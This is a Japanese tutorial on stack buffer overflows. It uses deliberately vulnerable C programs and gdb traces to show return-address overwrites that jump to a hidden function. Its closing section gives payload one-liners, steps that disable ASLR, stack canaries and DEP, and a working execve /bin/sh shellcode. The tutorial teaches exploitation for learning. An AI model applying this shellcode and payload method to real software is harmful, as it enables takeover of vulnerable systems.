Buffer Overflowについて

Buffer Overflowの仕組みについて脆弱性のあるプログラムを用いて説明します。

脆弱性のあるプログラム Vuln.c

#include <stdio.h>
#include <string.h>

int main();
int foo();

int main(int argc, char *argv[]){

char *a;

a = argv[1];
printf(“argv[1] = %s\n”,a);

foo(a);
printf(“Program finished\n”);
return 0;

}

int foo(char *b){

char c[10];

strcpy(c,b);
printf(“c = %s\n”,c);

return 0;
}

void secretFunction()
{
printf(“Congratulations!\n”);
printf(“You have entered in the secret function!\n”);
}

vuln.cプログラムはmain、foo、secretFunctionの3つの関数を定義しています。プログラムは以下のような動作をします。

1.実行する際の引数をmain関数上で表示
2.その後、引数のポインタをfoo関数に引き渡し、さらにfoo関数上で表示
3.最後にmain関数に戻り”Program Finished”と表示

ただし、secretFunction関数はどこからも呼び出されていない関数です。今回、Buffer Overflowにより呼び出されないはずのsecretFunction関数を呼び出せるか検証します。
ではまず最初にvuln.cをgccでコンパイルして実行してみます。

vuln.exeプログラムに引数として”123″を渡して実行したところエラー無く動作しました。vuln.exeは引数として入力された文字をfoo関数に引き渡し、foo関数内のstrcpy関数によりローカル変数cにコピーされます。strcpy関数は入力されたデータのサイズをチェックせずにコピーする脆弱性のある関数です。変数cは10バイトの容量しかないため、10バイトを超えるデータを引数として入力すると本来書き込んではいけないメモリ領域を上書きするBuffer Overflowが発生してしまいます。では引数に10バイトを超えるデータを入力してみましょう。

引数として「123456789011112222333」(終端文字含めて22文字)を入力すると「Program finished」が表示されプログラムは終了しました。しかし、1文字多い「1234567890111122223333」(終端文字含めて23文字)を入力すると「Program finished」は表示されません。何が起こったのでしょうか。デバッガツールであるgdbを用いて確認しましょう。

gdbを起動したところ

Breakpointをmain関数とfoo関数を定義します。Breakpointを設定することでその地点での処理をgdbがstopし、その時点でのstackの状態などを確認することができます。

ではgdb上でvuln.exeプログラムを実行しましょう。「r 123」として引数に123を渡してプログラムを実行します。実行するとBreakpointであるmain関数の入り口でプログラムがstopします。その際の命令コードの位置をdisasコマンドで確認します。foo関数は「0x0040146a」で呼び出され、終了するとmain関数の「0x0040146f」に戻るようになっています。

では続けてプログラムを実行します。プログラム継続のコマンである「c」を入力します。同じくdisasコマンドを実行すると、foo関数内に入ったことがわかります。

「info frame」コマンドでfoo関数終了後のreturn addressを確認します。return addressは「saved eip」として表示されます。この場合は「0x40146f」で、main関数でfoo関数を実行した後の命令番地と一致しています。

「stepi」コマンドでプログラムを実行していきます。途中でstrcpy関数等に処理が移り、foo関数に戻ってきた地点のスタックの状態を「info frame」コマンドで確認します。

return addressである「saved eip」はもとのままの「0x40146f」を示しています。

処理を継続する「c」コマンドを入力すると「Program finished」と表示され正常終了したことが確認できます。
 では次に用意されたメモリ領域である10文字を超えるデータを入力してみます。入力するデータは「r AAAAAAAAAABBBBCCCCDDDDEEEE」の26文字を入力します。

最初のBreakpointであるmain関数上のprintfでは問題なく表示されています。処理を継続して次のBreakpointであるfoo関数に入ります。

foo関数に入った時点でのreturn addressを「info frame」で確認すると「0x40146f」であり正常な値となっています。ここから「stepi」コマンドで「strcpy」関数が終了するまで処理をすすめます。

strcpy関数を実行後のdisasコマンドとinfo frameコマンド実行結果です。disasコマンドによりstrcpy関数は終了したことがわかります。そしてinfo frameコマンドの結果である「saved eip」を確認すると「0x45454545」と変わってしまっています。0x45はアスキーコードでいう「E」を示します。つまり、foo関数終了後に戻る予定のreturn addressが入力値である「AAAAAAAAAABBBBCCCCDDDDEEEE」によって、最後の4文字「EEEE」に書き換えられたことを示しています。

プログラムを再開すると、return addressが書き換わっているためmain関数に戻れずに「Segmentation fault」のエラーとなって異常終了となります。

原理を以下に説明します。
1.foo関数内で変数cのメモリ領域を10バイト宣言される。実際にはコンパイラにより18バイトのメモリ領域が確保される。
2.18バイトのメモリ領域の次の4バイトはstackのベースポインタを示すebpの値が入っており、その次の4バイトにreturn addressが格納されている。
3.したがって、入力値として26バイト「18バイト(変数c)+4バイト(ebp)+4バイト(return address)」を入力することでBuffer Overflowを発生させて任意のアドレスに飛ぶことができる。

これらを踏まえ、secretFunctionを読みだす脆弱なプログラムvuln2.cを以下に示します。

#include <stdio.h>
#include <string.h>

#define FILEPATH “arg.bin”

int main();
int foo();

int main(int argc, char *argv[]){

char *a;
char linebuf[100];
FILE *fp;

memset(linebuf, 0, sizeof(linebuf));
fp = fopen(FILEPATH, “r”);
fgets(linebuf, sizeof(linebuf)-1, fp);
fclose(fp);

a = argv[1];
printf(“argv[1] = %s\n”,a);

foo(linebuf);
printf(“Program finished\n”);
return 0;

}

int foo(char *b){

char c[10];

strcpy(c,b);
printf(“c = %s\n”,c);

return 0;
}

void secretFunction()
{
printf(“Congratulations!\n”);
printf(“You have entered in the secret function!\n”);
}

このプログラムはバイナリファイルを入力データとして表示するプログラムに変更しています。バイナリデータはA×22+リターンアドレス4文字を用意します。リターンアソレスとして「E9 14 40 00」と入力しますが、リトルエンディアンのため実際のアドレスは「0x004014E9」のアドレスに飛ぶことになります。

さて、「0x004014E9」は何でしょうか?これはsecretFunction関数のアドレスです。gdbにおいて「info functions secretFunction」コマンドで実行したい関数のアドレスを予め調べておいたのです。

ではgdbでvuln2.exeがどのように実行されるか見ていきましょう。main関数でのdisas結果をみると、foo関数の次に実行されるアドレスは「0x004014a4」であることが確認できます。

foo関数内に入った後のsaved eipは「0x4014a4」です。これはmain関数への正常な戻りアドレスです。

strcpy関数が終了するまでstepiコマンドで命令を進めます。

strcpy関数終了後のinfo frameコマンドの結果です。saved eipの値は「0x4014e9」と書き換えられたことがわかります。さらに処理を続けるとsecretFunctionが実行され「Congratulations!」と表示されました。

このように脆弱なプログラムとgdbを使うことでBuffer Overflowにより任意のアドレスへ命令を移せることを確認できました。

※補足
■バイナリデータの入力について
 vuln2.cのようにバイナリデータをファイルとして読み込む方法以外に以下の方法でもバイナリデータを入力可能です(CentOS7で確認)。この方法であればvuln.cのプログラムでも検証可能です。
 python -c ‘ print “A” * 22 + “\xe9\x14\x40\x00” ‘ | xargs ./vuln.out
 or
 ./vuln.out $( python -c ‘print (“A”*22 + “\xe9\x14\x40\x00”)’ )

■gccでのコンパイルについて
 CentOS7のgccのデフォルトでは64ビットでコンパイルされます。今回の実験は32ビット環境で実施しますので「-m32」オプションをつける必要があります。
 ただし、以下のパッケージが必要となります。
 yum install glibc-devel.i686
 yum install libgcc.i686

■Shellcodeの流し込みについて
上記説明はテキストエリアにある関数を呼び出していましたが、Stackメモリに/bin/shを実行させるShellcodeを送り込み実行する方法についても記載します。
1.ASLRを無効化
 ASLRを無効化することでStackメモリアドレスのランダマイズを無効にします。
 $ sudo sysctl -w kernel.randomize_va_space=0
2.CanaryおよびDEPを無効化するようコンパイル
 $ gcc -fno-stack-protector -z execstack -m32 vuln.c -o vuln.out
3.gdbでスタックメモリサイズを確認
 $gdb vuln2.out
  disas fooでfoo関数内で変数c用に確保されるサイズを確認する。
 ※送り込むshellcodeの長さが24バイトあるので、ソースコードで変数cのサイズを30バイトと定義しておく。その場合、コンパイルすると38バイト確保される。
4.shellcodeの送り込み
 送り込むデータは
  shellcode(24バイト)+調整バイト+ebp(4バイト)+リターンアドレス(4バイト)となる。gdbの結果から変数cとして確保されるメモリサイズは38バイトであるため、調整バイトは38-24=14バイトとなる。これにebp分の4バイトもプラスして、組み立てるデータは以下となる。
 shellcode(24バイト)+任意の文字(18バイト)+リターンアドレス(4バイト)

実際の実行コマンドは以下となる。
 ./vuln.out $(python -c ‘print(“shellcode” + “\x90” * 18 +リターンアドレス “\x62\xd0\xff\xff”)’)

 起動を確認したshellcodeは以下。
shellcode:
\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
★成功させるポイント
 Overflowさせる変数cのポインタを表示させるようにプログラムしておきます。
 例:printf ( “address = %p\n”,buf )
 何度か実行してそのアドレスが変わらないこと(ASLRが無効になっている)を確認します。
 そのアドレスをリターンアドレスとして最後の4バイトに入れます。

コメントをどうぞ